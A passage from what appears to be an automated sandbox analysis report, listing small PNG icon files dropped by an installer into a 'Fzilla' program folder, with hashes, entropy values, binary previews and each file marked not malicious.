Preview:	.PNG........IHDR..............w=.....IDATx.b..`..X........i..m.6.r3...ek.].g._n.6.=.w..w..w:...S.jsz.LY.0..i........K.,.1..9...........`(wd.,......46b..U......O.....X..."b...k_.U......p........ ..Zr.O&.U..s.o..CIK.j..-....m..-!......2p..x..L......M ....#C.../Y....PdC.D(.....i.o`.....;g.{~.rG..O....{..H.X.=.b...$.M.p...H?Hm..-.....f1.+...@...(....L$-b.V....uk.......\|..Q......W...M....}Pd*..U......6@.3ECo$r.d.N.2.......>P...Y....9.bw...frzo&..f.n.M.g........n..F..R....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	368
Entropy (8bit):	7.132051056446801
Encrypted:	false
SSDEEP:	6:6v/lhPZtHNQQ3vhoNsBCVv0BMKtPtFmum/Ppqwg3vMS0dNqbF7suJ8Vp:6v/7fHGQ3vhoNsBCN0BMKJtHm/Pp/4Mr
MD5:	6A85ED30E0EFC752E16305A95EF4E849
SHA1:	CB7983F571A5153DC24F7C6937E6E44A30CFB124
SHA-256:	38195DD0C38D027F9B72A5ED03D589BC34B7D7CD005A106EB830770C06DDF527
SHA-512:	5A8BDA4EF2C49AEF6F9114EC2E871627A7B3E57F049CFAA8F3862C9EF32902A93A159A35FADAD9AA6558754B46974D4D4DD415B3B25943E42111A1753B465C6F
Malicious:	false
Preview:	.PNG........IHDR..............w=....7IDATx...%T....q=.pww...i.@.......[...x.......[..I..Z..T.0..]...9...^BR....~8...;.G.!-.D........X.~.0L. .8..y.6.......t.\P.E.....E.......8.`F.A..q.. ...\|y....@...C...(...0g..4m.d.....fD.....z...F......#a$`.g..K^n..@.<#.<'.bB.......q.o.x...l.Q....y..r.,R..#<..S.l...R..j..r.al...-(.!+..w..8.....<T~......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	255
Entropy (8bit):	6.786152246961665
Encrypted:	false
SSDEEP:	6:6v/lhPZ4ybSuLQ6q/SPmBpgQSqXxaop/jIsup:6v/7HSuL2AmBpLnvc
MD5:	6BB536F8851BB9B09DC40C25E2CE937A
SHA1:	DFCEFC70714787DD67FE4A2928CABEE5B742A687
SHA-256:	324D6C797069BA43B0833CE66BF917CA7F91B8092EFB4A4E7CBDEF5BEBDE493A
SHA-512:	5FFDB940A3F939E868F066E06C28C96D7F902F6DE56325690EFA37BD34AAA2D6987FA07485E71BCC7CEC23E4DB0A220337D535F395F3E605336E8C846B1B0209
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.c....G..x.8..K....Y.i.......H.(.KR.p...x.6%.s..K$..q ..F.;...Z..dP'..Z$..r-..d...\$.\...h....s`.kE....I....@lHM.o...xj.>....@.M...5..-...$.7...1 ..bg ...%.eh.m...9h......Y N._...V ........ ..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-030VJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	7.762181302500522
Encrypted:	false
SSDEEP:	24:AdiO8bYpLAACDndAxbcwKLaQiwg/jN9Cw/br:AUTYpLAASSQwao9/jrRbr
MD5:	9680A5B4290104352D298903725A8325
SHA1:	4D1F67C7AC4399516540003FC1ED4AA5CC666EF4
SHA-256:	68A742F83F04F8481DC6B91C1422E866DC5AFB62B1EC50E299F03E3CECF94C74
SHA-512:	31880D4396AE29321BBC42EF67D411257FA685842A118E646F298C90C189577E6FA2425CEA50FC4A891A74AF75FC658D3E073F24C8732E4BA02B360EA27E02E9
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx..[h.U...sfggfw..v7.6MLw...Z........(P., >...H.../..DP.[.......jkS...BhmR.tw.Mw...\...J.&J.P....y....\.....2..}.3.8...+.Po.t..2.C.e.o..S....@)Z.+.6x....\.t.u.0X...0pQB.A... ......VeP..00zy.f.C.$,..>....x.O>%..Hn8...f.#'.b$u,.DJ....\|...'I;=......6v.......96J]..O.}u....?....RH....$.vE..DE!^..n...d.R.4L..,.;..........hY.J.).$m......)b.v....E...G}.A..i4fX.......[..]..L....t.....t0:6.i.,%m.,.\&.......f<.G.....l.LG.."B.e.....eR).z.R.6te..dl.gE...7.L3.a..M.R.%wv...{^..5.g:...`.:YX.'R.0..u.\|>O....] .......VR.5@}[..?..kh.73..B..B...IJ[.@.......b`.f.u.HH.M.]........>FE~...=....x...R.1..QLg...'..>Me.{...x. @..b.......4..&.D...a..i.....pq/.\|?.3J.is.<h..a.Tj3(@.2.A>6.s....v.R.F.....Q....>._....mx.....~e....E.>.i$....{..bx.7\..2M..Z.D.q2..d..C.......J...'...aK....&z1....9}...V.T..6.!.....L...,.-..E...RB.....e.S....FR......"...4L.B.![7..:....z..Q..R>544tr....1P.i..>..c0.........D..I!..j.8..mSo\ko8...q@..R.GV.mt...

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-0A0VD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	461
Entropy (8bit):	7.3403357557975255
Encrypted:	false
SSDEEP:	12:6v/7/+XeVhrA6NWINuy80CWlOitfzd5sgxVo:++O3cQ9F7rJvo
MD5:	4F7017135A468DEC89C9B0CCFE49A993
SHA1:	F56480F6561D1991CED6085E69F6683B4BA628BC
SHA-256:	3901DC8F16DE446345BF86B850D467FEC9B0DCCEA282ED2C4D45B48201C59E02
SHA-512:	D47D97E76F5B65492698C4F8F00AFE8C2179E84BC5B8B71E5C5E239BE58ADB375CA33CB49B911621C735F28B0A32DA6B3C705BCB2B4D475640C4F63DB2ED6877
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx...l.A.@.....m.]...mP.fT.mM..lmN.~\|.yo.9.cfgvX.~.....v...k.<F..V..r.s...c.O>~..#~....@..r.u.m0.3T.b...r1g.a.Z.,...w....7."O.O..w..)..R..A...Pp..d.:.4.@@.r[I'....N1...7/........#. ...N..'.J..-.X..6..8...\|c......:.v{".,.+PB.,..>....."<L.IH8.....].. ....&.@..>.......^&..........'..S.P......J.....B.o=.}.o......]..cKQ.D...V:.I.>...7.j"p.#G........[......f*..qDB.....#..O.......z..n..'....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-0DEU8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.060004696530624
Encrypted:	false
SSDEEP:	6:6v/lhPZ1dknD9coShCc9YUNj+6V8hSqmSjsTrepz1Zf8XZ0QHD71Wj7dp:6v/7vm2oY39YUNjR8JoTKtzf8XSQHD7K
MD5:	448C9566157A6545B55BBC65EC035274
SHA1:	D43734EC0495586C77236D0CFB119BDE15717E92
SHA-256:	D337EA13034EA808D6C1F42BE4E5EA548F297F4C24F617A52CEBEBD71422F2A5
SHA-512:	7C040FC59597D7BC2DF66DF43E4494BC7469EE7E1136A4F74279F20F747736C248D1D16A5B8A32EB65FE4678ED2D5144A9AB23250D032FB2BF86B4F580038688
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx..%P.A.@.w.]#.c} ....wwww.....qm;..g...[...?.V.k.b({.N.l.....'..N&...u.\..".....'.&.+....n...?..&.#..}H....?....M(Z..\./P....Bd..g+.z. ..lS!PC..9. .....@..6U.{..@.....OW...@..8f(.j._....<.A.W. ..:.yL\|{...N...$.6.-^...W.a"8......*...x.'."..}.X......'.....e@.<..5.........tv....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-0SAUE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.594404615240779
Encrypted:	false
SSDEEP:	12:6v/7lRMudVR9J8CRW0Ro6eTmE/gKhnnRzMjJNH/GfET3hgJ+EOkOc:sJ8T0RovTH/g4RzMjbuuCDND
MD5:	E94D9F352059F9FC26545563E046FED4
SHA1:	7EBE17DA2B2261342405AFA3610A31C663E0DD8B
SHA-256:	228CC19E705FCA59A99232DE6845C001AB5FC5A04815CF842A281C610B56077A
SHA-512:	5724CE476F98932B01EAD02D2C454E8C3411ECE0B3393958FDCEAB17B55E441ECDEFE6656036CAC63A6F6A152776939BC2982015B03B7242DB17FC29001BDC79
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.:`..X.....08k.m.yk.m...y.m]b...6:.7.u......O.f.3...HZ.........d..DB.....(.R...:........=.I..i.t.......".....$......l..c.....Fj.@.....$?.4'E...Xj.}G.?/.....M..x4.4...L..'.O.......?.J.!..pQ.J..&...9>.....y.R...,.vDZ(...U.'.....R.j~........+...J. ..G. .\.0k.6...J.$..G.P@pBh.2.(....U7....x/9.....:.c.+..K......tg%..W9....q........:T.V...m..T.B.9..B....-.D..1O#-.T.y.....)r..@x/.g/i..-.m.'. !..F..?.Rd.5.7...N.I.?..../7E... ...h.h...m...j...VG.2.z.3Y>VLgF.l_n. .r..km...3...."...mTx.W..Hnc~.4...H.q..m..;.....S ...{..........I...\.m... ......ZI..v..1Q.......w.........B......-.p>. ..p}..\|t...(..?i.{.*..@(........3`..`.....L..i.N....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-21IUB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	403
Entropy (8bit):	7.2590588527215765
Encrypted:	false
SSDEEP:	6:6v/lhPZLqIktIjTEVXON2hIVjHhh1zM339Zm7FVHTPv5XcusTFoL7tYaZk/s+U8u:6v/79qSk82gBh1Ym5VLPs6RZEs++v
MD5:	57127617C13FCC955B4C204C6C413763
SHA1:	C764CE3F61E62C2F1A619DB1BCCAC1EC869EA711
SHA-256:	F3B5AFA03C7EDC495284DF9E7CDFCE7D0845DAE64B88CBB0578BE9A286C97ADE
SHA-512:	3892E9D3B43169150BFF6E2A9DA54C44A944805586EC36BDFB9433287DE5DF4C601398E1ED1028034F55F7C943795F55F3B62AD5886666AF49111B46388189C5
Malicious:	false
Preview:	.PNG........IHDR..............w=....ZIDATx.b....9gR....3`]a.....T..T.Kmk..u.m.......;.<.7.......s....8..f...`.:7U ..3.._.nd`S..&x...#.2\....G.3;..^!". .T..!x.!...........g.%2.N....y.V5<.+..Y.?.I.}o....J.0.&p..f.......b!.t....M....?.^.....P.00.....w..m.\|e.L`.M`)......ss..l.....j...5..G>k.w.t.CY.[...<.....b.........2..gi.....[52.9...'p..q.A........a{..Ub.1...z...r...<..E.[.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-36E8K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.2060897285546845
Encrypted:	false
SSDEEP:	6:6v/lhP9FXrH1fld51FPLBBz5v4bnEO+FlGaFnlBOaY3p:6v/7DdP3FPndvKnEO+FblB1i
MD5:	469F9922AB8B118250B9353291D3C6ED
SHA1:	831C64A6CBA3D7C5EF8DEA6BC9236022F0CF0217
SHA-256:	A6D3CA324CCD9A7CDE09F2F1FE652B4BCA2A7BB3572F746A83E03253B99FD6CA
SHA-512:	134F14B5FEF2CB4CF2F125D450F3983DCD4CCF87F5373EE785785DDF70C455D652A062658A68A8F2D5F71A11097B009B961E5C46376EF0F72488E49B6CE59FB7
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx...?K.1...Tp.t.K././.. .....7N...I...'.pPD.[.w..Pp....I.....<.J8..e..,y.....{h.........4!\|$....pc~z.9.\F.R .S..F....q:.......m.lp.(......S8N.DA...;B...R...L.VP{Y.)z..3...Q.eC&.o_..5...3&.. h.!.2&...&.......$..c.......4....U....v.......!.v.b.).. ;2o...&.&./.;.j/Zb....sK...$+9....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-5EO86.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.731346539563078
Encrypted:	false
SSDEEP:	24:BhAfp113zmjSU1gX0+FzqKIHmhjCxNTpbvSs1GngqFW:BeDqjAkymZHmQxNRSs1Gn9W
MD5:	F447322C7F61EFD1034741AEB8608D51
SHA1:	26B89C717EAA0C44A608746A350E912713B75D05
SHA-256:	9B5D502A15760B6E6E18853C422CD88D4B0A76B977FA5E34CC6F747BF247E357
SHA-512:	A94174533ABE7D93E1F61565C970EF6FFB2A018082846A7914E4473241A2BFFFA835E471295DA2042BFFDE2A24B819403515A91D1DFD2A010E8EFCC588AEB078
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.....\Y.....c...N.k...k..l...k..~.....EiO..<.......n...wk.$...r..E.?s$......]C..4d....y.O[B...x....(\|.e0.f.....H.....)....dpPyIt$].o!@...r..&....W...5.)#4.N.#\.8..4.k. ...0.%.{t......d.;.-..l..X` .......kb....j....^.1....`_......T..A...:.@$ H..1.D...=...."...t.Hg.@j..$... ......!!J...s.);.....c...(.G!...J@n..'..&....T.n....-.9,...I.....a...L`..A.....DEQ.....a...>....m0\|%...V..u.Z..:\..x.y.k....9......5[..}x.....oh..z.....9...............V.).....e%.V,+.......O(...?3.."\|..Y::;.p...\|.m..l.-.......s{]]......Z...gFll.\|...4vw...K..........{.SzA..F.z.I...PH30.Rgp..FnnH..5.;.......j..Gz2B.....>..m20(....d ...q...1vW.........y.n...V...A..z.Xv...$..4;.I..$+.....\|x.h..4zg#...F..........Mx.Z...s...c.1.MFl...7i...1pY...h.V..vu.q................. !{.#..HG...Mf..H)y}.I/Z...v!.$.._........2.e..D......}PJ~..200..6.xG.I...>_:..0.4Bw.!..4...........&xw...a. .W9..U...l=.>V...!x`2*CgP..4.-.....?.........IEND

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-67A11.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	974
Entropy (8bit):	7.737825415231118
Encrypted:	false
SSDEEP:	24:b130h9bovyRkp8KOR/Nuu2p+TLpEbA+mLtyN7:ah9bfkvQP2p+TLaA+mL0d
MD5:	FC4B7AAA20E1C0016CB37DA7A87B4187
SHA1:	6863AB21E568B3A1C8805C6FA5C35AE142713D01
SHA-256:	48FFEA8EBF7AA5471B40E10EC19540550F155DB687F5BCFA12CAD1FA52A79196
SHA-512:	A1D8076A9AFCFBEEC25CA82F477F32B0DCEF825506F34CECC6FBC74E2401272A0587EE6154BAC8BED97772395B88E6665CE6E4CAE38DA72B6A72B6E491BC037D
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx......I..s.}W8.m..m..`..m.6....~U/...t..L.Z......S......\....... ....1..f.......xacl.Y...........nuvv...M.......KUUUJHH@ j...&2.AA.V...~..)."]..8...~~>....S,.S(.Z....C.fR.zW$088(......FW#..YV`hhH...W.pX.HdA.z...11QIII\|#F.__V..4.r..Bs...))).....z...m..@OO.(....~........TCC.ZZZ........8...3K...g.iMM.222..7.6\R.&OLL(;;[O<.*D......^y..}..........N=.T.m.x.SY...{.....=...6}..K.pL....V...._...>Y.........1B...D..SO=%..y.....q..~1.>..s.../.........s..Yg..r.!.;.6.tS.....T..?..@aa.....D..yyyS.b..>.`...V.....T._x.Y.N.s.@ev.VV....+p.-...O>Y..t.I..@Aa.A.....h .1Q__/J..>...m..X.BM..F...A.3.g..-....#.=.{W.+......o...~.iV..u....q...f....)...f....A_m{.N......[v}x/........T...b.L8....y.$.qO ...K....N?....x.P...>:..Ce...=e.......B..p.9..N..pdddj.4U5..?~...g..._`..6....%...(&2"bd......h.,..).../.}.wou..O.~.....,....\|>..].......\Y."'5{.$.....e5.._s:VM.Or%.X.Q..~.....$...X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-6GGQS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.655347637725677
Encrypted:	false
SSDEEP:	24:MxRQ2LvlfQpouveUt7tWeGobpNvsILWwNOte8Ui:Mx22JIouv6obHzNOfUi
MD5:	F93B941291F95BBECAB8C1E53F5725CA
SHA1:	89A801FC43BE0C01ACAFCF2F82C17C2A63A3FE43
SHA-256:	3953CCC93FA55F963A8CF997B3A4DA46590EDC7BC740D5075BD5E0D18681F7C5
SHA-512:	EEC02BF8019D122EA784827EB763487A0A3715C30A941DEA1A3753B86493043B6035D71EC935C41C0F68E2DB83B92BC853919B32E9B3E45954D2AB61ACFDCD96
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx...lG.G.6.,.. ..m;..nl[..=.m....b.g.W.>}.=.m....._)U..jTJ5...c....L.... $m< .S.0t.i..B...v...Yppp...........S!!!.K.aaa.r.)....^^^.....9099.;))),55.(..6..lxxx.........<..k......................#11....H ..v.]C\|\|<.!.....>@w...w.y..;v.....>OII._V .S......R]].......V:::.........6.....~......HHH...f.M....l\..iY...jhh.`aa.o...........v.W...0...< ?.[:9........s\|.,.....N..x.(hl.`i...;.O...g....X'..]....~\|.....~.!z...(h......L(9.j.......g....x.}..s..1..y..<..A...=........Z.$..\|......w..&.UB.-d.x..?..m....$.E=@.{O320.@ff.z..z(<.J......_L..v"...=V.{-...~.};.326..YO.........`..t}.=.0.Aq.g...b...(....(L&.?...^....Q^^.z.....X..K...4.....'........S..rssW..$==]7U....[Hee........ltH.{Y.lT?.~d....n..'....*?....H.n.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-77VK8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.528080158719681
Encrypted:	false
SSDEEP:	12:6v/7MSsCEqt65tCs7Y4ZsIV+/nLy4vJ5yejaSsdbGQwiTg80i0v3liN:hSsdq8y8/S8+/Ly4HVjuu80iE3kN
MD5:	FFC4084C925A44B9A427CFACB60B0D0D
SHA1:	CB8A06176436D64E14D3EA1D160AF2188CB99B8B
SHA-256:	8541E3327C66A84F2992EFCA3D3816ACF83D0595257725C65830324EFBE6B55F
SHA-512:	3A9F20806CABFCE664DD264516F836D7D39BD5D38152631218EF1290E2A1AB18A238D7B247B2E8A3614B6CD6237F4191FA651F123C3B69FE2FC5C083CF90D095
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.....@.._m..A..m.ET.AmDeP.8.....$..6&..f.\|k...i)k..?..?.~\..._....;........a..S.m+pV..)....[.ow7`;\u.../B...o.,zST.:k bw...........m..WE8+jM[.2.c..j.;.k...0.........e.)...=+-...U.m.r>..d.....vENV........~.2..^.....g..>....D.E.^..IQ..V..8..P.7..M.....kc....0..;H..H{t....<....G)...Mg.o.pT<-/D..l....:./.9.V..`!.............,......Jx....`.?..X..K .....<........F.K..U5......1...... b.P.ex.)...%._G.....\5,@...........F.S.....nA8..........wBv\4"WM.#...1D>%B....&...g.....x....:.......{...[.y...9.y...o.0<..,.>!...N.'.q.%.Z!.w.q;:...2.k.............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-A0QE9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	653
Entropy (8bit):	7.600912591819238
Encrypted:	false
SSDEEP:	12:6v/7mIe1yFFaE76+DbFATu1i7KeYcZNNip+scrpdnSh/wRodc:iYyWG6+iS1i7VYcU+poh/Coc
MD5:	6C56C7AC973D6B891BD3CAAC98ACAA42
SHA1:	B2CD1D5C2A7490E0A62595CA846D9548467FB892
SHA-256:	AF68A95DA06062BB8DAC3C6CCED5E9E1FBF161DD61E19A8B624A6131A6DE0427
SHA-512:	F8248A3FA865293CEF9881F751FF116EA0A3053C577771A1BBC5B1072F00FAAC4E0E9990EF418A8D658BEA3E0493789A128915B67C666211F0D512E2525A2F48
Malicious:	false
Preview:	.PNG........IHDR..............w=....TIDATx.....A...Fm....66.m...x..)^.OP\|.3.fP\....53...U.7p...Bt....".9.v..!;UP.L..]!.* Pj}W.jQ..CyS...5..VMsc...W......'y...`.Y.S.`6..U...x.q.c....'.S..8WT.r..r......{YTH}ht......G2.t..r[N^..7q.J!..,.....^..3..h.=@.(.j.]..D.....74:.....;..Pk.5....&.4:-...(...y.`....@..o..s........C .SR.....+R..<..-Bi.......u"....!...xb..X.....l2..I..N.H.,.=....%8.6..'....d.X]]..\|).Nctt.z.....G......eYtvv.....6....X,.D"A...h.....F..$}m.X(../....D<.{w.X..wR,.>~......"..s.........P..../.4.`.:Oe.x.1..F1=3...a...Q.#...s....0..Y.^\|y...=M.X.+,.D*.....YY.......wU$....Ne....D..H..}..8i.o.._.......3.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-A3ITQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	406
Entropy (8bit):	7.335297639701669
Encrypted:	false
SSDEEP:	12:6v/7NxMGFpOyAUPHv5/Pn/5VOmMxj2VtS7GPj1T/uF+O:MdFgyAUPHvFn5NMxj2SCPMF+O
MD5:	5F41EAC0D665C8F09FE2029CCE593372
SHA1:	AD847EF603FF3010F43E49DBB5EDAC8F308B05A9
SHA-256:	5C094635BA52273033E7E58FCE6464508E5D7FB671BBE6A0CB9C741D243CFA0C
SHA-512:	E814C67EEC32114EA38F6695EB7D0964049ABB7A632260F0E4B2565D73ABEA8D9CFDE2874D3426EF2CAAAC2314C2132A68AC54C8EB37A38C8A81EC4F0AB331DC
Malicious:	false
Preview:	.PNG........IHDR..............w=....]IDATx.b......i..n .bFlj4+...3.\.....jb.MT....ul...m..=..<7k[........*H@./.~..6-.=..5.....;...nv.#.h....x....u.>b..g.q.[%0A..A G.?A...$.Oy..w..M/.C....DO.p...............T....m.........4L...&.e...S.\|...Z.....tq......".<..8c..Co....>.......U.iz.....%j..B....c.M....>.."7zJ.....~g.._...J..]..<'.x....kt./.Q..v.{..f......R.E.).bh....8..,.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-BJN3B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	368
Entropy (8bit):	7.132051056446801
Encrypted:	false
SSDEEP:	6:6v/lhPZtHNQQ3vhoNsBCVv0BMKtPtFmum/Ppqwg3vMS0dNqbF7suJ8Vp:6v/7fHGQ3vhoNsBCN0BMKJtHm/Pp/4Mr
MD5:	6A85ED30E0EFC752E16305A95EF4E849
SHA1:	CB7983F571A5153DC24F7C6937E6E44A30CFB124
SHA-256:	38195DD0C38D027F9B72A5ED03D589BC34B7D7CD005A106EB830770C06DDF527
SHA-512:	5A8BDA4EF2C49AEF6F9114EC2E871627A7B3E57F049CFAA8F3862C9EF32902A93A159A35FADAD9AA6558754B46974D4D4DD415B3B25943E42111A1753B465C6F
Malicious:	false
Preview:	.PNG........IHDR..............w=....7IDATx...%T....q=.pww...i.@.......[...x.......[..I..Z..T.0..]...9...^BR....~8...;.G.!-.D........X.~.0L. .8..y.6.......t.\P.E.....E.......8.`F.A..q.. ...\|y....@...C...(...0g..4m.d.....fD.....z...F......#a$`.g..K^n..@.<#.<'.bB.......q.o.x...l.Q....y..r.,R..#<..S.l...R..j..r.al...-(.!+..w..8.....<T~......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-E1COP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.7428764520223545
Encrypted:	false
SSDEEP:	24:1OaBirN8h2jqPlz6YoqFxmBXl5G1icmLKXlgfUcQc:1oeF6YzFxmBXlk1KLMCfDQc
MD5:	FBE889615E9FFE0AC59730EB58C4E71E
SHA1:	ED2526C2F5BD2586DABE647DB0FC4F2AA42F04A7
SHA-256:	5CCA96991B2255836750A64F4C0011EB5891C2188E9B3D031B03F2ED5567E4B9
SHA-512:	2096DC78A5A71B78D77D3F4C7A0006688FE516B285B272724E6D8D8D8C2E1497D8D21730AE759715ECDAD74F5C8425DFE1F894B5F79DD522E05998F6C3CE2FCB
Malicious:	false
Preview:	.PNG........IHDR..............w=....\|IDATx.b ...9gRY.8.....K.{.....{..(........=...6O.m.k...g.x3..m..T.....b....}R...T$....@.$.N......../.....%.9.r.p.e8..-6....e....s.....^...o.X....W..o2C.....`a.0R.L..3MCoap.Z.o.H/_..?OAF>._2....Gf.$&iF.:<.;..sC..A..ab.....Y.t..^...L.o.L.~.Bz...../+..v.....^.\.].>..........J.}....qm`...q.m....H....g.@..qo.rQG.o.w.z=......z'....&..~b`.kq...f......jh.v...D..7.....9..hfm..L.........G:..9`2x`.(X....H....I..f....Y....SH.p9.......[)(54...4[..`T............f.H...5pwG1......".8......e....E.D.v...9.>......\.:..............I...!.jF$....A0.l.\$._5....NI....f!.....L<...;...S.! #..x....nI(c....`/...0..3.CX.....!.. ..5.v".,#.Z ....+.}......\|..X4.d..d..bG7X.........d.$..VI..v#......._......D[.p......F..E..d...n8...B.z@F. =A..#3@r.H..........t...auy.r....t:...LR.toz.../}..7....w...\|/$Q...v. `jj.<..........r..rabh.....'F....i]...8..~.Q....y_.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-EIPMN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	273
Entropy (8bit):	6.663022393752252
Encrypted:	false
SSDEEP:	6:6v/lhPZc5/9sR1AAU7YrQOctJllIe8s91szQcKoktWu/EEbp:6v/76sYMPc/P0K/v7
MD5:	E4C0B2CC3A3630B0D69125D7C4146D55
SHA1:	D2670AAD72F8678EE070D3C6CF5490A97597ABB2
SHA-256:	6596427F5CD726826E803FF104D4083FBDAB8309CF8A8820536EE3851DF8DCDC
SHA-512:	AE1E82963D117E731A8FA864B40893C89E5B4F2D3875994A7B8ECE4993266CF8F2D0CBA998006EFC03AB237345F97BF89F405436A61426037A338513D9D82B55
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.c.9.f....O.bfZ....w..?.....,@\|.l8./......b..0.,.0<x6%....B.O!..]H.....H./@...&R-HD...9H..@...g...@lL./...(.]..bA ...0.......Z4....L..$..@..,P....@.....x"..1..![.x.q.....;.....@..<......I.,H..= .H..">..L.m..n...A....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-EL2UL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	913
Entropy (8bit):	7.7371366739927545
Encrypted:	false
SSDEEP:	24:DVlj3ZV/IQi2k01lsFZf+RaCGYiukvFCvqKjSmI:/rAukrZGRaCGYiJKjSmI
MD5:	0151B253AA9748F37487150909477D10
SHA1:	A48EEDBC8DCCF233EAABF8F7D045AE65DA6BF3B9
SHA-256:	C5DE1A69F932CBB7EC2F25E5D22092CA37033C1D1DCFA366E080DB9B271A6A71
SHA-512:	E730CA426B21141FC453ED09ECF4582FBBA7AB3C2624CCF924F1D3DF6AF61865CBF44742D3D4AAACD76578A860F162B25439CA91FBC923638C57F1C5EAE2D833
Malicious:	false
